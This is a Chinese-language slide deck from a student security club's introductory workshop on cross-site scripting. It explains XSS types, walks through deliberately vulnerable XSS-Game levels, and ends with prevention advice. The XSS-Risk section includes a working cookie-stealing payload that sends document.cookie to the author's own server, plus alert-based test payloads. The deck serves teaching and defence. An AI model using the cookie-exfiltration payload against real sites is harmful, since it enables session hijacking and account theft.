XSS
Cross-site scripting
Whoami la
-
輔大資工四乙 – 黃品翰 ( halloworld )
-
blog: blog.halloworldis.me
-
-
NISRA 核心幹部吧
-
AIS3 兩次專題落選人
-
AIS3 2019(Crypto)
-
AIS3 2020(網頁安全)
-
-
109 年度行政院攻擊手 - 落選人
-
榮耀資戰(一般組)沒得名
-
輔大專題試驗室(二)風紀股長 -
~~歡迎有興趣的一起打CTF~~
Outline
-
HTML/CSS/Javascript Intro
-
Xss Intro
-
Xss-Game
-
Xss-Risk
-
Conclusion
HTML/CSS/JS
Intro
網頁の組成
-
HTML
- 給網頁一個基礎的長相
-
CSS
- 幫網頁化妝
-
Javascript != Java
- 幫網頁做事件觸發、特效
- 與後端互動
<!DOCTYPE html>
<html>
<head>
<title>Page Title</title>
</head>
//這裡放CSS
<style>
h1{
color : red;
}
p{
color : blue;
}
</style>
//這裡放javascript
<script>
function clickla()
{
document.getElementById('demo').innerHTML = Date();
}
</script>
//這裡放html
<body>
<h1 class="txt">This is a Heading</h1>
<button type="button" onclick="clickla()">Click me to display Date and Time.</button>
<p id="demo">This is a paragraph.</p>
</body>
</html>
Example Code
網頁の組成 - example
CSS - AIS3 報復性聊天室
-
CSS用到極致的例子
Javascript
-
跟python一樣是直譯式語言
-
可以打開瀏覽器的F12,點下console
-
直接輸入就可以執行Javascript了
-
-
網頁能夠讓事件觸發、也可與後端做互動
a = 0.1 + 0.2
做個小Lab,這個是多少?
0.30000000000000004
a 是 0.3 ?????
網頁開發資源
-
w3schools
-
freecodecamp
XSS
Intro
(你覺得js都是正常的js嗎?)
document.getElementsByTagName('body')[0].innerHTML=""
javascript with hacker ?
一般人
填下想要的留言
javascript with hacker ?
駭客
<script>....</script>
javascript with hacker ?
狂跳alert,跳到瘋掉
網頁變空的
讓別人幫你挖礦
偷別人的帳戶資訊
XSS - reflected
-
讓使用者發出惡意的請求(例如,網址上、奇怪的按鈕)
- 伺服器將回應後,將有害的javascript直接回顯在webpage
- 需要社交工程
- 把惡意連結傳給別人
- 想辦法用騙的就對了: )
XSS - reflected
後端PHP
XSS - reflected
後端PHP
插入<script>alert(123)</script>
XSS - DOM
-
DOM 全稱為 Document Object Model
- 一個描述HTML的樹狀結構
- 讓我們能透過js動態產生網頁,無須透過伺服器
- 發生原因
- 沒有詳細檢查資料,使得操作 DOM 的過程帶入了惡意指令
- 觸發跟反射型類似,只差在DOM渲染的部分
想對DOM有更深的了解,可以看以下這篇
XSS - DOM
XSS - Stored
-
儲存型XSS,會將惡意語法存入伺服器資料庫中
- 常見的位置:論壇文章、留言板...等
- 能夠將惡意語法常駐
- 當使用者瀏覽時,能夠直接執行惡意語法,
讚👍
- 當使用者瀏覽時,能夠直接執行惡意語法,
Testing
-
看source code,看有無過濾字元
-
通常會以alert(1)來當作測試
- 最快最方便,一但有跳出警告視窗代表能xss
-
XSS payload
XSS-Game
想辦法在page中,alert()
Rule
Level-1
def get(self):
# Disable the reflected XSS filter for demonstration purposes
self.response.headers.add_header("X-XSS-Protection", "0")
if not self.request.get('query'):
# Show main search page
self.render_string(page_header + main_page_markup + page_footer)
else:
query = self.request.get('query', '[empty]')
# Our search engine broke, we found no results :-(
message = "Sorry, no results were found for <b>" + query + "</b>."
message += " <a href='?'>Try again</a>."
# Display the results page
self.render_string(page_header + message + page_footer)
return
Level-2
Level-2
function displayPosts() {
var containerEl = document.getElementById("post-container");
containerEl.innerHTML = "";
var posts = DB.getPosts();
for (var i=0; i<posts.length; i++) {
var html = '<table class="message"> <tr> <td valign=top> '
+ '<img src="/static/level2_icon.png"> </td> <td valign=top '
+ ' class="message-container"> <div class="shim"></div>';
html += '<b>You</b>';
html += '<span class="date">' + new Date(posts[i].date) + '</span>';
html += "<blockquote>" + posts[i].message + "</blockquote";
html += "</td></tr></table>"
containerEl.innerHTML += html;
}
}
Level-3
function chooseTab(num) {
// Dynamically load the appropriate image.
var html = "Image " + parseInt(num) + "<br>";
html += "<img src='/static/level3/cloud" + num + ".jpg' />";
$('#tabContent').html(html);
window.location.hash = num;
// Select the current tab
var tabs = document.querySelectorAll('.tab');
for (var i = 0; i < tabs.length; i++) {
if (tabs[i].id == "tab" + parseInt(num)) {
tabs[i].className = "tab active";
} else {
tabs[i].className = "tab";
}
}
// Tell parent we've changed the tab
top.postMessage(self.location.toString(), "*");
}
Level-4
<body id="level4">
<img src="/static/logos/level4.png" />
<br>
<img src="/static/loading.gif" onload="startTimer('{{ timer }}');" />
<br>
<div id="message">Your timer will execute in {{ timer }} seconds.</div>
</body>
timer.html
index.html
<body id="level4">
<img src="/static/logos/level4.png" />
<br>
<form action="" method="GET">
<input id="timer" name="timer" value="3">
<input id="button" type="submit" value="Create timer"> </form>
</form>
</body>
Level-5
Level-5
<body id="level5">
<img src="/static/logos/level5.png" /><br><br>
Thanks for signing up, you will be redirected soon...
<script>
setTimeout(function() { window.location = '{{ next }}'; }, 5000);
</script>
</body>
confirm.html
signup.html
<body id="level5">
<img src="/static/logos/level5.png" /><br><br>
<!-- We're ignoring the email, but the poor user will never know! -->
Enter email: <input id="reader-email" name="email" value="">
<br><br>
<a href="{{ next }}">Next >></a>
</body>
Level-6
function includeGadget(url) {
var scriptEl = document.createElement('script');
// This will totally prevent us from loading evil URLs!
if (url.match(/^https?:\/\//)) {
setInnerText(document.getElementById("log"),
"Sorry, cannot load a URL containing \"http\".");
return;
}
// Load this awesome gadget
scriptEl.src = url;
Other XSS Lab
XSS-Risk
only alert(1) ?
Cookie
Cookie
- 為甚麼有cookie?
- 你有想過為甚麼你登入過後,下次很像直接打開不用再登一次嗎
- 他就是用來驗證你是誰的咚咚
- 而他就存在你的瀏覽器
- 所以我們只要偷別人的cookie,就可以偽造登入囉😃
所以
document.location.href = "http://vm.halloworldis.me:8000/" + btoa(document.cookie)
歡迎大家,在console輸入這段
我們來看看原理
document.location.href = "http://vm.halloworldis.me:8000/" + encodeURI(document.cookie)
我的釣魚網站
讓網頁跳轉
當前網頁的cookie
Conclusion
Prevention
- Stored-xss, Reflected 過濾輸入
- HTML-encoding
Prevention
- DOM-based
- 必須用前端來防範,原則相同
- 請選擇正確的function
//inner HTML,會插入HTML的元素
document.getElementById('show_name').innerHTML = name;
//改用inner Text,才能保證作為純粹文字
document.getElementById('show_name').innerText = name;
Resource
-
IThome
-
Freebuf
-
HITCON ZeroDay
-
各位大大,歡迎在slido補充你們學習的資源
Q&A
[2020NISRA_Enlightened] XSS(for student)
By halloworld
[2020NISRA_Enlightened] XSS(for student)
NISRA 2020 englightened XSS
- 679